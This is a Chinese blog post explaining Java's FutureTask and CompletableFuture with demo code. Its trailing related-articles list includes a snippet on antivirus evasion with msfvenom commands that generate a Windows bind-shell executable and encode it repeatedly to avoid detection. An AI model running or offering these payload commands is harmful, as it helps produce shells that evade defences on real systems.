JUC并发编程第二篇,对Future的改进,CompletableFuture核心使用

news2024/11/16 2:12:53

JUC并发编程第二篇,对Future的改进,CompletableFuture核心使用

    • 一、Future和Callable接口
    • 二、FutureTask 的使用和存在的问题
    • 三、CompletableFuture:改进解决上边Future存在问题
    • 四、创建异步操作,CompletableFuture的四个核心静态方法
    • 五、总结CompletableFuture使用及优点

一、Future和Callable接口

  • Future接口定义了操作异步任务执行的一些方法,如获取异步任务的执行结果、取消任务的执行、判断任务是否被取消、判断任务是否执行完毕等。
  • Callable接口中定义了需要有返回的任务需要实现的方法。

二、FutureTask 的使用和存在的问题

  • FutureTask使用例子
public class FutureTaskDemo
{
    public static void main(String[] args) throws ExecutionException, InterruptedException, TimeoutException
    {
        FutureTask<Integer> futureTask = new FutureTask<>(() -> {
            System.out.println(Thread.currentThread().getName() + "\t" + "---come in");
            try { TimeUnit.SECONDS.sleep(2); } catch (InterruptedException e) { e.printStackTrace(); }
            return 1024;
        });

        new Thread(futureTask,"t1").start();

        System.out.println(futureTask.get());
        //只要出现get方法,不管是否计算完成都阻塞等待结果出来再运行
    }
}
  • 存在问题,调用get()方法会出现阻塞,不管是否计算完成都阻塞等待结果出来再运行

注意一:get()方法放在最后使用

注意二:futureTask.get(2L,TimeUnit.SECONDS),设置超时时间

注意三:工作中不要阻塞,使用CAS,轮询代替阻塞

//轮询代替阻塞
while(true)
{
    if(futureTask.isDone())
    {
        System.out.println("----result: "+futureTask.get());
        break;
    }else{
        System.out.println("计算中......");
    }
}
  • 轮询比阻塞好一点,但是也不推荐使用,因为轮询比一定能及时得到结果,还会白白消耗CPU资源。

我希望它任务完成时主动通知我!

多个异步任务如何合作?

三、CompletableFuture:改进解决上边Future存在问题

  • CompletionStage:代表异步计算过程中的某一个阶段,一个阶段完成以后可能会触发另外一个阶段
  • CompletableFuture:实现了 Future 接口和 CompletionStage 接口,提供了非常强大的Future扩展功能,函数式编程能力,回调处理等,它可能代表一个明确完成的 Future ,也可能代表一个完成阶段,计算完成后触发某些动作。
public class CompletableFuture<T> implements Future<T>, CompletionStage<T> {}
//CompletableFuture实现了Future老的功能,也进行了扩展CompletionStage

四、创建异步操作,CompletableFuture的四个核心静态方法

public class CompletableFutureDemo {
	public static void main(String[] args) throws ExecutionException, InterruptedException {

		/**
		 * 无返回值
		 * ForkJoinPool.commonPool-worker-3	-----come in
		 * -----task is over
		 * null
		 */
		CompletableFuture<Void> future = CompletableFuture.runAsync(() -> {
			System.out.println(Thread.currentThread().getName()+"\t"+"-----come in");
			//暂停几秒钟线程
			try { TimeUnit.SECONDS.sleep(1); } catch (InterruptedException e) { e.printStackTrace(); }
			System.out.println("-----task is over");
		});
		System.out.println(future.get());

		/**
		 * 有返回值
		 * ForkJoinPool.commonPool-worker-3	-----come in
		 * 57
		 */
		CompletableFuture<Integer> completableFuture = CompletableFuture.supplyAsync(() -> {
			System.out.println(Thread.currentThread().getName() + "\t" + "-----come in");
			//暂停几秒钟线程
			try {
				TimeUnit.SECONDS.sleep(1);
			} catch (InterruptedException e) {
				e.printStackTrace();
			}
			return ThreadLocalRandom.current().nextInt(100);
		});

		System.out.println(completableFuture.get());

	}
}

上边两个方法没有指定Executor的方法,直接使用默认的ForkJoinPool.commonPool() 作为它的线程池执行异步代码。

如果指定线程池,则使用我们自定义的或者特别指定的线程池执行异步代码

  • CompletableFuture减少阻塞和轮询的使用
public class CompletableFutureDemo {
    public static void main(String[] args) {
        CompletableFuture<Integer> completableFuture = CompletableFuture.supplyAsync(() -> {
            System.out.println(Thread.currentThread().getName() + "\t" + "-----come in");
            int result = ThreadLocalRandom.current().nextInt(10);
            
            //暂停几秒钟线程
            try { TimeUnit.SECONDS.sleep(1); } catch (InterruptedException e) { e.printStackTrace(); }
            System.out.println("-----计算结束耗时1秒钟,result: "+result);
            if(result > 6)
            {
                int age = 10/0;
            }
            return result;
            
        }).whenComplete((v,e) ->{
            if(e == null)
            {
                System.out.println("-----result: "+v);
            }
            
        }).exceptionally(e -> {
            System.out.println("-----exception: "+e.getCause()+"\t"+e.getMessage());
            return -44;
        });

        //主线程不要立刻结束,否则CompletableFuture默认使用的线程池会立刻关闭:暂停3秒钟线程
        try { TimeUnit.SECONDS.sleep(3); } catch (InterruptedException e) { e.printStackTrace(); }

    }
}

五、总结CompletableFuture使用及优点

在这里插入图片描述

  • 异步任务结束时,会自动回调某个对象的方法;

  • 异步任务出错时,会自动回调某个对象的方法;

  • 主线程设置好回调后,不再关心异步任务的执行,异步任务之间可以顺序执行。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/22858.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

嵌入式系统使用网络镜像或使用网络更新镜像

在我们学习的过程中&#xff0c;有的时候需要多次修改镜像进行实验&#xff0c;那么直接在emmc上部署镜像就不是一个很好的选择了&#xff0c;将镜像部署到网络服务器上也许是最好的办法&#xff0c;你想啊&#xff0c;我们修改编译的新镜像就不用上传到emmc中&#xff0c;不用…

Seata AT模式下的源码解析(二)

6. 一阶段 在一阶段的调用流程是 6.1 DataSource Seata最重要的一个功能就是对 DataSource 进行了代理&#xff0c;在用户执行插入 sql 时会在插入之间根据 sql 构建一个前置镜像出来&#xff0c;如果出现异常了&#xff0c;就可以通过 undolog 日志里面的镜像语句进行回滚&a…

[附源码]java毕业设计乡村振兴惠农推介系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

数字孪生解决方案-最新全套文件

数字孪生解决方案-最新全套文件一、建设背景二、建设思路三、建设方案四、获取 - 数字孪生全套最新解决方案合集一、建设背景 建立真实世界与虚拟世界的数据映射和数字展示&#xff0c;模拟对象在物理世界中的行为&#xff0c;实时监控物理对象的变化&#xff0c;反映物理世界…

存储设计——如何优化 ClickHouse 索引(一)

Keypoint ClickHouse 索引与其他 RDMS 区别稀疏主键索引及其构建ClickHouse 索引最佳实践 ClickHouse 的索引设计 Whole data: [---------------------------------------------]CounterID: [aaaaaaaaaaaaaaaaaabbbbcdeeeeeeeeeeeeefgggggggghhhhhhhhhiiiiiiiiiklll…

关于stm32的flash内存

关于stm32的flash操作&#xff0c;网上已经有很多详细的介绍了&#xff0c;这里只是总结一些告诫。 在使用flash存储数据的时候&#xff0c;对于新手来说&#xff0c;并不知道该把数据存在哪一个地址上&#xff0c;怕存到程序区域&#xff0c;或者越界。 关于这一点很容易搞清楚…

第三十五篇 Swiper 引入使用

对于Swiper来说&#xff0c;相信有很多人都有一定的理解&#xff0c;也有使用过swiper插件的&#xff0c;封装过类似的组件&#xff0c;Swiper的一个使用是非常广泛的&#xff0c;是开源免费、非常强大的一个触摸滑动组件&#xff0c;最典型的就是轮播图了&#xff1b;大家可以…

【机器学习技巧】回归模型的几个常用评估指标(R2、Adjusted-R2、MSE、RMSE、MAE、MAPE)及其在sklearn中的调用方式

目录回归模型评估的两个方面1. 预测值的拟合程度2. 预测值的准确度以糖尿病数据集的回归模型为计算示例-计算各指标1. 决定系数R21.1 R2求解方式一----从metrics调用r2_socre1.2 R2求解方式二----从模型调用score1.3 R2求解方式二----交叉验证调用scoringr22. 校准决定系数Adju…

【Linux】第十三章 多线程(线程互斥+线程安全和可重入+死锁+线程同步)

&#x1f3c6;个人主页&#xff1a;企鹅不叫的博客 ​ &#x1f308;专栏 C语言初阶和进阶C项目Leetcode刷题初阶数据结构与算法C初阶和进阶《深入理解计算机操作系统》《高质量C/C编程》Linux ⭐️ 博主码云gitee链接&#xff1a;代码仓库地址 ⚡若有帮助可以【关注点赞收藏】…

第四章 使用Vitepress搭建文档网站

第四章 使用Vitepress搭建文档网站 文档建设一般会是一个静态网站的形式 &#xff0c;这次采用 Vitepress 完成文档建设工作。 Vitepress 是一款基于Vite 的静态站点生成工具。开发的初衷就是为了建设 Vue 的文档。Vitepress 的方便之处在于&#xff0c;可以使用流行的 Markd…

交换综合实验以及链路聚合和VRRP

1. MSTP针对RSTP做了哪些改进&#xff1f;请详细说明 在划分VLAN的网络中运行RSTP/STP。局域网内的所有VLAN共享一棵生成树&#xff0c;被阻塞后的链路将不再承载任何流量。无法在VLAN间实现数据流量的负载均衡&#xff1b;导致带宽利用率、设备资源利用率较低 &#xff08;1&…

基于KPCA 和 STFT 非侵入式负荷监控(Matlab代码实现)

&#x1f468;‍&#x1f393;个人主页&#xff1a;研学社的博客 &#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜…

免杀技术实际演示

生成反弹shell msfvenom -p windows/shell/bind_tcp lhost1.1.1.1 lport4444 -a x86 --platform win -f exe -o a.exe加密编码反弹shell msfvenom -p windows/shell/bind_tcp lhost1.1.1.1 lport4444 -f raw -e x86/shikata_ga_nai -i 5 | msfvenom -a x86 --platform windows…

String的compareTo()方法使用场景介绍及全量ASCII 码表(完整版)

String的compareTo方法使用场景介绍及全量ASCII 码表&#xff08;完整版&#xff09;一、介绍二、compareTo()使用场景场景一&#xff1a;数值型字符串比较场景二&#xff1a;排序比较场景三&#xff1a;对相同结构的日期比较三、源码分析四、全量ASCII 码表&#xff08;完整版…

[前端基础] JavaScript 基础篇(上)

JavaScript的标准是 ECMAScript 。截至 2012 年&#xff0c;所有浏览器都完整的支持ECMAScript 5.1&#xff0c;旧版本的浏览器至少支持 ECMAScript 3 标准。2015年6月17日&#xff0c;ECMA国际组织发布了 ECMAScript 的第六版&#xff0c;该版本正式名称为 ECMAScript 2015&am…

steam搬砖项目全面讲解,月入8000+

哈喽大家好&#xff0c;我是阿阳 今天给大家分享CSGO搬砖项目&#xff0c;这个是最为稳定利润可观的项目&#xff0c;一个月净赚3万 阿阳网络创始人&#xff0c;8年互联网项目实战经验&#xff0c;个人ip打造【玩赚steam&#xff0c;3年买2套房】国外steam游戏搬砖&#xff08…

[附源码]java毕业设计文档管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

Java中Callable和Future

Java中为什么需要Callable 在java中有两种创建线程的方法&#xff1a; 一种是继承Thread类&#xff0c;重写run方法&#xff1a; public class TestMain {public static void main(String[] args) {MyThread t1 new MyThread();t1.start();} } class MyThread extends Thre…

值得学习的Linux内核锁(一)

在linux系统当中存在很多独占性的资源&#xff0c;他在同一个时间只能被一个进程使用。常见的有打印机、内存或者系统内部表现等资源。如果打印机同时被两个进程使用&#xff0c;打印结果就会混乱输出结果&#xff1b;如果一个内存资源被多个进程同时修改&#xff0c;进程实际的…

【Hack The Box】linux练习-- Networked

HTB 学习笔记 【Hack The Box】linux练习-- Networked &#x1f525;系列专栏&#xff1a;Hack The Box &#x1f389;欢迎关注&#x1f50e;点赞&#x1f44d;收藏⭐️留言&#x1f4dd; &#x1f4c6;首发时间&#xff1a;&#x1f334;2022年11月17日&#x1f334; &#x…